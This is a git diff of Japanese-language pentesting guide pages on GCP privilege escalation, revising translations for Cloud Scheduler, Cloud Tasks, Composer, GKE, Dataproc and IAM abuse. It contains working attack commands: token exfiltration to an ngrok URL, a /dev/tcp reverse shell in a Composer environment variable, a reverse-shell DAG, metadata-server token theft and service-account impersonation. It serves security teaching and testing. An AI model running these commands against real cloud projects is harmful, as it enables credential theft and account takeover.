gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
-特権を昇格させるために、**攻撃者は指定されたサービスアカウントを偽装して、目的のAPIをターゲットにしたHTTPリクエストを作成するだけです。**
+
-- **OIDCサービスアカウントトークンを抽出する**
+特権を昇格させるには、**攻撃者は単に指定された Service Account を偽装して目的の API をターゲットにした HTTP リクエストを作成するだけです**
+
+- **Exfiltrate OIDC service account token**
+
+Create Cloud Scheduler job to exfiltrate OIDC token
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
-HTTPレスポンスを確認する必要がある場合は、**実行のログを確認するだけで済みます**。
+
+
+HTTP response を確認する必要がある場合は、t**実行のログを確認してみてください**。
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
-前のシナリオと同様に、**既に作成されたスケジューラーを更新してトークンを盗むか、アクションを実行することが可能です**。例えば：
+前のシナリオと同様に、**update an already created scheduler**ことで token を盗んだり操作を行ったりすることが可能です。例えば:
+
+既存の Cloud Scheduler job を update して OIDC token を exfiltrate
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
-SAにプライベートキーをアップロードしてそれを偽装する別の例:
+
+
+別の例 — SA に秘密鍵をアップロードしてそれをなりすます:
+
+Cloud Scheduler を使って Service Account に秘密鍵をアップロードし、それをなりすます
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -102,7 +116,9 @@ EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
-## 参考文献
+
+
+## 参考資料
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
index 667f065cb..8e9376f4d 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
@@ -6,7 +6,9 @@
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
-これらの権限を持つ攻撃者は、指定されたサービスアカウントのアイデンティティで実行されるタスクを作成することにより、**他のサービスアカウントを偽装**することができます。これにより、**IAMで保護されたCloud RunまたはCloud Functions**サービスに対して**認証されたHTTPリクエストを送信**することが可能になります。
+これらの権限を持つ攻撃者は、指定した service account の ID で実行されるタスクを作成することで、他の service account をなりすますことができます。これにより、IAM で保護された Cloud Run や Cloud Functions サービスへ認証済みの HTTP リクエストを送信できます。
+
+Create Cloud Task with service account impersonation
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
--body-content '{"hello":"world"}' \
--oidc-service-account-email @.iam.gserviceaccount.com
```
+
+
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
-これらの権限を持つ攻撃者は、**サービスアカウントに対する権限がなくても、既存のスケジュールされたタスクを実行**できます。これにより、以前により高い権限を持つサービスアカウントで作成されたタスクを実行することが可能になります。
+これらの権限を持つ攻撃者は、タスクに関連付けられたサービスアカウントの権限がなくても、**既存のスケジュール済みタスクを実行**できます。これにより、より高い権限を持つサービスアカウントで以前に作成されたタスクを実行することが可能になります。
+
+actAs permissionなしで既存の Cloud Task を実行
```bash
gcloud tasks run projects//locations/us-central1/queues//tasks/
```
-このコマンドを実行する主体は、タスクのサービスアカウントに対して **`iam.serviceAccounts.actAs` 権限** を必要としません。しかし、これは既存のタスクを実行することのみを許可し、タスクを作成または変更する能力は付与しません。
+
+
+このコマンドを実行するプリンシパルは、タスクのサービスアカウントに対して **`iam.serviceAccounts.actAs` 権限を持つ必要はありません**。ただし、これは既存のタスクを実行できるだけで、新しいタスクの作成や既存タスクの変更権限は付与されません。
### `cloudtasks.queues.setIamPolicy`
-この権限を持つ攻撃者は、特定のキューに対して **自分自身または他の主体に Cloud Tasks の役割を付与** することができ、`roles/cloudtasks.admin` に昇格する可能性があります。これにはタスクを作成および実行する能力が含まれます。
+この権限を持つ攻撃者は、特定のキューに対して**自分自身や他のプリンシパルに Cloud Tasks のロールを付与する**ことができ、最終的にタスクの作成・実行が可能な `roles/cloudtasks.admin` にエスカレーションする可能性があります。
+
+キューに Cloud Tasks admin ロールを付与する
```bash
gcloud tasks queues add-iam-policy-binding \
\
@@ -36,9 +46,11 @@ gcloud tasks queues add-iam-policy-binding \
--member serviceAccount:@.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
-これにより、攻撃者は自分が制御する任意のサービスアカウントに対して、キューの完全なCloud Tasks管理権限を付与できます。
+
-## 参考文献
+これにより攻撃者は、制御する任意のサービスアカウントに対して、そのキューに対する Cloud Tasks のフル管理者権限を付与できます。
+
+## 参考資料
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
index e9807e974..05d81a3cb 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
@@ -4,7 +4,7 @@
## composer
-詳細情報は以下を参照してください:
+詳細情報:
{{#ref}}
../gcp-services/gcp-composer-enum.md
@@ -12,18 +12,24 @@
### `composer.environments.create`
-その権限を持つ新しく作成されたcomposer環境に**任意のサービスアカウント**を添付することが可能です。後で、composer内でコードを実行してサービスアカウントトークンを盗むことができます。
+その権限により、新規に作成する composer 環境に**任意の service account を割り当てる**ことが可能です。後で composer 内でコードを実行して、その service account の token を盗むことができます。
+
+service account を付与した Composer 環境を作成する
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
-より詳しい情報は[**こちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)で確認できます。
+
+
+エクスプロイトの詳細は[**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)。
### `composer.environments.update`
-composer 環境を更新することが可能で、例えば、env 変数を変更することができます：
+composer 環境を更新することが可能です。例えば、環境変数を変更するなど:
+
+Composer 環境変数を更新して code execution を行う
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
-TODO: 環境に新しいpypiパッケージを追加してRCEを取得する
+
-### Dagsのダウンロード
+TODO: 新しい pypi パッケージを環境に追加して RCE を取得する
-実行中のdagsのソースコードを確認します:
+### Dags をダウンロード
+
+実行されている dags のソースコードを確認する:
+
+Composer environment から DAGs をエクスポートしてダウンロードする
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment --location --destination /tmp/dags
```
-### Import Dags
+
-Python DAG コードをファイルに追加し、次のように実行してインポートします:
+### Dags のインポート
+
+python DAG code をファイルに追加し、実行してインポートします:
+
+Composer 環境に悪意のある DAG をインポート
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
-リバースシェルDAG:
-```python:reverse_shell.py
+
+
+Reverse shell の DAG:
+
+Python DAG の reverse shell code
+```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
@@ -94,11 +112,13 @@ depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
-### Composerバケットへの書き込みアクセス
+
-Composer環境のすべてのコンポーネント（DAG、プラグイン、データ）はGCPバケット内に保存されています。攻撃者がそれに対して読み取りおよび書き込み権限を持っている場合、バケットを監視し、**DAGが作成または更新されるたびに、バックドア付きのバージョンを提出する**ことができるため、Composer環境はストレージからバックドア付きのバージョンを取得します。
+### Composer バケットへの書き込みアクセス
-この攻撃の詳細については、以下を参照してください：
+Composer 環境のすべてのコンポーネント（DAGs、plugins、データ）は GCP バケット内に格納されています。攻撃者がそのバケットに対する読み取りおよび書き込み権限を持っていれば、バケットを監視して、**DAG が作成または更新されるたびに backdoored バージョンを提出する**ことで、Composer 環境がストレージから backdoored バージョンを取得するようにできます。
+
+Get more info about this attack in:
{{#ref}}
gcp-storage-privesc.md
@@ -106,10 +126,10 @@ gcp-storage-privesc.md
### プラグインのインポート
-TODO: プラグインをアップロードすることで妥協できることを確認する
+TODO: プラグインをアップロードすることで何が侵害可能か確認する
### データのインポート
-TODO: データをアップロードすることで妥協できることを確認する
+TODO: データをアップロードすることで何が侵害可能か確認する
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
index 65c578b98..9c6cd20b2 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -1,21 +1,27 @@
-# GCP - コンテナ特権昇格
+# GCP - Container Privesc
{{#include ../../../banners/hacktricks-training.md}}
-## コンテナ
+## container
### `container.clusters.get`
-この権限は、次のような方法で**Kubernetes クラスターの資格情報を収集する**ことを許可します:
+この権限により、次のような方法で**Kubernetes クラスターの認証情報を収集**できます:
+
+Kubernetes クラスターの認証情報を取得
```bash
gcloud container clusters get-credentials --zone
```
-権限がなくても、資格情報は非常に基本的で、**いくつかのリソースをリストすることができます**が、環境内の設定ミスを見つけるのに役立ちます。
+
+
+追加の権限がなければ、その資格情報はかなり基本的なもので、**リソースを一覧表示するだけ**の場合が多いですが、環境の設定ミスを見つけるのに役立ちます。
> [!NOTE]
-> **Kubernetes クラスターはプライベートに設定されている可能性がある**ため、インターネットから Kube-API サーバーへのアクセスが禁止されます。
+> 注: **kubernetes clusters がプライベートに構成されている場合があります**。その場合、インターネットから Kube-API サーバーへのアクセスは許可されません。
-この権限がない場合でもクラスターにアクセスできますが、**クラスターの情報を含む独自の kubectl 設定ファイルを作成する必要があります**。新しく生成されたものは次のようになります:
+この権限がない場合でもクラスターにアクセスできますが、クラスター情報を使って **自分専用の kubectl config file を作成する** 必要があります。新しく生成されたものは次のようになります:
+
+例: kubectl config file for GKE cluster
```yaml
apiVersion: v1
clusters:
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
token-key: "{.credential.access_token}"
name: gcp
```
+
+
### `container.roles.escalate` | `container.clusterRoles.escalate`
-**Kubernetes**はデフォルトで、プリンシパルが**Roles**や**ClusterRoles**を**より多くの権限**で**作成**または**更新**することを**防ぎます**。しかし、権限を持つ**GCP**のプリンシパルは、実際には自分が持っている権限よりも**多くの権限**を持つ**Roles/ClusterRolesを作成/更新**することができ、Kubernetesのこの動作に対する保護を効果的に回避します。
+**Kubernetes** はデフォルトで、プリンシパルが自身が持つ権限よりも多い権限を持つ **Roles** や **ClusterRoles** を **作成(create)** または **更新(update)** できないように **制限**します。しかし、**GCP** のプリンシパルがこれらの権限を持っていると、自身が保持しているものより多い権限を持つ Roles/ClusterRoles を作成/更新でき、Kubernetes のこの保護を実質的に回避できます。
-**`container.roles.create`**および/または**`container.roles.update`**または**`container.clusterRoles.create`**および/または**`container.clusterRoles.update`**も、これらの特権昇格アクションを実行するために**必要です**。
+`container.roles.create` および/または `container.roles.update`、または `container.clusterRoles.create` および/または `container.clusterRoles.update` が、それぞれこれらの特権昇格アクションを実行するために **さらに必要** です。
### `container.roles.bind` | `container.clusterRoles.bind`
-**Kubernetes**はデフォルトで、プリンシパルが**RoleBindings**や**ClusterRoleBindings**を**より多くの権限**で**作成**または**更新**することを**防ぎます**。しかし、権限を持つ**GCP**のプリンシパルは、実際には自分が持っている権限よりも**多くの権限**を持つ**RolesBindings/ClusterRolesBindingsを作成/更新**することができ、Kubernetesのこの動作に対する保護を効果的に回避します。
+**Kubernetes** はデフォルトで、プリンシパルが自身の持つ権限より多い権限を付与する **RoleBindings** や **ClusterRoleBindings** を **作成(create)** または **更新(update)** できないように **制限**します。しかし、**GCP** のプリンシパルがこれらの権限を持っていると、自身が持つ権限より多い権限を持つ RoleBindings/ClusterRoleBindings を作成/更新でき、Kubernetes の保護を回避できます。
-**`container.roleBindings.create`**および/または**`container.roleBindings.update`**または**`container.clusterRoleBindings.create`**および/または**`container.clusterRoleBindings.update`**も、これらの特権昇格アクションを実行するために**必要です**。
+`container.roleBindings.create` および/または `container.roleBindings.update`、または `container.clusterRoleBindings.create` および/または `container.clusterRoleBindings.update` が、それぞれこれらの特権昇格を行うために必要です。
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
-これらのすべての権限は、**リソースを作成または更新**することを可能にし、**pod**を**定義**することができます。podを定義することで、**SA**を**添付**し、**実行**する**イメージ**を指定できるため、**SAのトークンをあなたのサーバーに**エクスフィルトレートするイメージを実行することができ、任意のサービスアカウントに昇格することができます。\
-詳細については、次を確認してください：
+これらの権限はすべて、pod を定義できるリソースを **作成または更新** することを可能にします。pod を定義する際にアタッチされる **SA** と実行する **image** を指定できるため、SA の **token** を外部サーバへ **exfiltrate** するようなイメージを実行して、任意の Service Account にエスカレーションすることが可能です。\
+For more information check:
-GCP環境にいるため、**メタデータ**サービスから**ノードプールGCP SA**を**取得**し、**GCPで権限を昇格**することもできます（デフォルトではコンピュートSAが使用されます）。
+GCP 環境にいる場合、metadata サービスから **nodepool GCP SA** を取得して、GCP における権限をエスカレートすることもできます（デフォルトでは compute SA が使用されます）。
### `container.secrets.get` | `container.secrets.list`
-[**このページで説明されているように**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)、これらの権限を使用すると、すべての**KubernetesのSAのトークン**を**読み取る**ことができるため、それらに昇格することができます。
+As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)これらの権限があれば、Kubernetes のすべての **SAs** の **tokens** を **読み取る** ことができ、それらに対してエスカレーションできます。
### `container.pods.exec`
-この権限を持つことで、**podにexec**することができ、**KubernetesのSAにアクセス**してK8s内で権限を昇格させることができますが、**NodePoolのGCPサービスアカウントを**も**盗む**ことができ、**GCPで権限を昇格**させることができます。
+この権限があれば **pods** に対して **exec** でき、pod 内で動作するすべての **Kubernetes SAs** にアクセスして K8s 内での権限昇格が可能になります。さらに、**NodePool** の **GCP Service Account** を盗み、GCP での権限をエスカレートすることもできます。
### `container.pods.portForward`
-[**このページで説明されているように**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller)、これらの権限を使用すると、**pod**で実行されている**ローカルサービスにアクセス**でき、**Kubernetesで権限を昇格**させることができるかもしれません（そして、**GCP**でメタデータサービスにアクセスできる場合）。
+このページで説明されているように、これらの権限があれば pod 内で動作しているローカルサービスにアクセスでき、それにより **Kubernetes**（場合によっては metadata サービスに到達できれば **GCP**）での権限昇格につながる可能性があります。
### `container.serviceAccounts.createToken`
-**権限の名前**から、**K8sサービスアカウントのトークンを生成することを許可する**ように見えますので、Kubernetes内の**任意のSAに昇格**することができるでしょう。しかし、使用するAPIエンドポイントを見つけることができなかったので、見つけたら教えてください。
+権限名からは、K8s Service Accounts の **token** を生成できるように見えるため、Kubernetes 内の任意の **SA** に対して **privesc** できそうに思えます。しかし、それを利用する API エンドポイントは見つかりませんでした。見つけたら教えてください。
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
-これらの権限はKubernetesで権限を昇格させることを可能にするかもしれませんが、より可能性が高いのは、**クラスターに持続するために悪用する**ことができるかもしれません。\
-詳細については、[**このリンクを参照してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller)。
+これらの権限は Kubernetes での権限昇格を引き起こす可能性がありますが、より現実的にはクラスタ内に **persist** するために悪用される可能性が高いです。\
+For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
index c612c79b9..4d03e5bee 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
@@ -10,17 +10,19 @@
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
-この方法を使用してリバースシェルを取得することはできませんでしたが、以下に説明する方法を使用してメタデータエンドポイントからSAトークンを漏洩させることが可能です。
+この方法ではreverse shellを取得できませんでしたが、以下に示す方法を使ってmetadata endpointからSA tokenをleakすることは可能です。
-#### 攻撃手順
+#### 悪用手順
-- GCPバケットにジョブスクリプトを配置する
+- ジョブスクリプトをGCP Bucketに配置する
-- Dataprocクラスターにジョブを送信する。
+- Dataprocクラスタにジョブを送信する
-- ジョブを使用してメタデータサーバーにアクセスする。
+- ジョブを使ってmetadata serverにアクセスする
-- クラスターによって使用されるサービスアカウントトークンを漏洩させる。
+- クラスタで使用されるservice account tokenをleakする
+
+metadata serverからSA tokenを取得するPythonスクリプト
```python
import requests
@@ -41,7 +43,9 @@ return None
if __name__ == "__main__":
fetch_metadata_token()
```
+
+Dataproc cluster に悪意のあるジョブを送信する
```bash
# Copy the script to the storage bucket
gsutil cp gs:///
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs:/// \
--cluster= \
--region=
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
index 8c096af8d..2d2e006b3 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
@@ -4,7 +4,7 @@
## IAM
-IAMに関する詳細情報は以下を参照してください：
+Find more information about IAM in:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,40 +12,52 @@ IAMに関する詳細情報は以下を参照してください：
### `iam.roles.update` (`iam.roles.get`)
-上記の権限を持つ攻撃者は、あなたに割り当てられたロールを更新し、他のリソースへの追加権限を付与することができます：
+記載された権限を持つ攻撃者は、あなたに割り当てられたロールを更新して、次のような他のリソースに対する追加の権限を付与することができます:
+
+IAMロールを更新して権限を追加する
```bash
gcloud iam roles update --project --add-permissions
```
-ここに**脆弱な環境の作成、悪用、クリーンアップを自動化するスクリプト**があります。また、この特権を悪用するためのPythonスクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)です。詳細については、[**元の研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。
+
+
+脆弱な環境の作成、exploit、クリーンアップを自動化するスクリプトは**here**にあり、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳しくは[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
-言及された権限を持つ攻撃者は、**サービスアカウントに属するアクセストークンを要求することができる**ため、私たちよりも多くの権限を持つサービスアカウントのアクセストークンを要求することが可能です。
+前述の権限を持つ攻撃者は、Service Account に属する access token を要求できるため、我々より権限の高い Service Account の access token を取得することが可能です。
+
+Service Account を impersonate して access token を取得
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
-スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)で見つけることができ、特権を悪用するためのPythonスクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)です。詳細については、[**元の研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。
+脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**こちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)にあり、この権限を悪用する Python スクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)にあります。詳細は[**オリジナルの調査**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
### `iam.serviceAccountKeys.create`
-前述の権限を持つ攻撃者は、**サービスアカウントのユーザー管理キーを作成する**ことができ、これによりそのサービスアカウントとしてGCPにアクセスできるようになります。
+前述の権限を持つ攻撃者は、**Service Account 用のユーザー管理キーを作成する**ことができ、これによりその Service Account として GCP にアクセスできます。
+
+Service Account キーを作成して認証する
```bash
gcloud iam service-accounts keys create --iam-account /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
-スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)で見つけることができ、特権を悪用するためのPythonスクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)にあります。詳細については、[**元の研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。
+
-**`iam.serviceAccountKeys.update`はSAのキーを変更するためには機能しない**ことに注意してください。これを行うには、`iam.serviceAccountKeys.create`の権限も必要です。
+脆弱な環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)を自動化するスクリプトや、この権限を悪用するpythonスクリプト[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)が見つかります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
+
+注意：**`iam.serviceAccountKeys.update` は SA のキーを変更するためには動作しません**。そのためには `iam.serviceAccountKeys.create` の権限も必要です。
### `iam.serviceAccounts.implicitDelegation`
-**`iam.serviceAccounts.implicitDelegation`**の権限を持つサービスアカウントが、別のサービスアカウントに対して**`iam.serviceAccounts.getAccessToken`**の権限を持っている場合、implicitDelegationを使用して**その第三のサービスアカウントのトークンを作成することができます**。説明を助けるための図は以下の通りです。
+もしあなたが、ある Service Account に対して **`iam.serviceAccounts.implicitDelegation`** の権限を持っており、その Service Account が第三の Service Account に対して **`iam.serviceAccounts.getAccessToken`** の権限を持っているなら、implicitDelegation を使ってその第三の Service Account のトークンを作成することができます。以下は説明用の図です。
-[**ドキュメント**](https://cloud.google.com/iam/docs/understanding-service-accounts)によると、`gcloud`の委任は[**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken)メソッドを使用してトークンを生成するためにのみ機能します。したがって、APIを直接使用してトークンを取得する方法は以下の通りです：
+[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、API を直接使ってトークンを取得する方法は次のとおりです：
+
+API を使って委任でアクセストークンを生成する
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,23 +68,27 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
-スクリプトを見つけることができます [**脆弱な環境の作成、悪用、クリーンアップの自動化はこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) と、この特権を悪用するためのPythonスクリプト [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)。詳細については、[**元の研究を確認してください**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
+
+
+この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
### `iam.serviceAccounts.signBlob`
-言及された権限を持つ攻撃者は、**GCPで任意のペイロードに署名することができる**。したがって、**SAの署名されていないJWTを作成し、それをブロブとして送信してターゲットにしているSAによってJWTに署名させることが可能です**。詳細については、[**こちらをお読みください**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。
+上記の権限があれば、攻撃者は GCP 上で任意のペイロードに**署名することが可能**です。したがって、対象の SA の署名を得るために、まず SA の未署名 JWT を**作成してそれを blob として送信し、JWT を署名させる**ことが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)を参照してください。
-スクリプトを見つけることができます [**脆弱な環境の作成、悪用、クリーンアップの自動化はこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) と、この特権を悪用するためのPythonスクリプト [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) と [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)。詳細については、[**元の研究を確認してください**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
+この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py)および[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
### `iam.serviceAccounts.signJwt`
-言及された権限を持つ攻撃者は、**適切に形成されたJSONウェブトークン（JWT）に署名することができる**。前の方法との違いは、**JWTを含むブロブにGoogleに署名させるのではなく、すでにJWTを期待しているsignJWTメソッドを使用することです**。これにより使用が容易になりますが、任意のバイトではなくJWTのみを署名できます。
+上記の権限があれば、攻撃者は**適切に構成された JSON web tokens (JWTs) に署名する**ことができます。前の方法との違いは、**JWT を含む blob に対して google に署名させる代わりに、元から JWT を期待する signJWT メソッドを使用する**点です。これにより使いやすくなりますが、任意のバイト列ではなく JWT のみ署名できます。
